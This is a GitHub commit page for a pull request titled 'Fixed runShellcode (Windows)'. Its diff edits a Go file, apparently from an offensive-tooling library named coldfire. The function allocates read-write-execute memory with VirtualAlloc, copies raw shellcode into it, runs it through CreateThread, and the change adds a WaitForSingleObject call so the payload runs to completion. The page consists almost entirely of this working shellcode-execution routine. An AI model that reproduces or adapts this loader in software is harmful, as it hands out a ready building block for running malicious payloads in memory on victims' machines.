Skip to content

Commit 07d7928

Browse files
authored
Merge pull request #39 from elusivethreat/master
Fixed runShellcode (Windows)
2 parents b391944 + a4715bf commit 07d7928

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

coldfire_windows.go

+3-1
Original file line numberDiff line numberDiff line change
@@ -44,12 +44,14 @@ func runShellcode(sc []byte, bg bool){
4444
kernel32 := syscall.MustLoadDLL("kernel32.dll")
4545
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
4646
procCreateThread := kernel32.MustFindProc("CreateThread")
47+
waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
4748
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x2000|0x1000, syscall.PAGE_EXECUTE_READWRITE)
4849
ptr := (*[990000]byte)(unsafe.Pointer(addr))
4950
for i, value := range sc {
5051
ptr[i] = value
5152
}
52-
procCreateThread.Call(0, 0, addr, 0, bg_run, 0)
53+
threadHandle, _, _ := procCreateThread.Call(0, 0, addr, 0, bg_run, 0)
54+
waitForSingleObject.Call(threadHandle, uintptr(^uint(0)))
5355
}
5456

5557
// func dialog(message, title string) {

0 commit comments

Comments
 (0)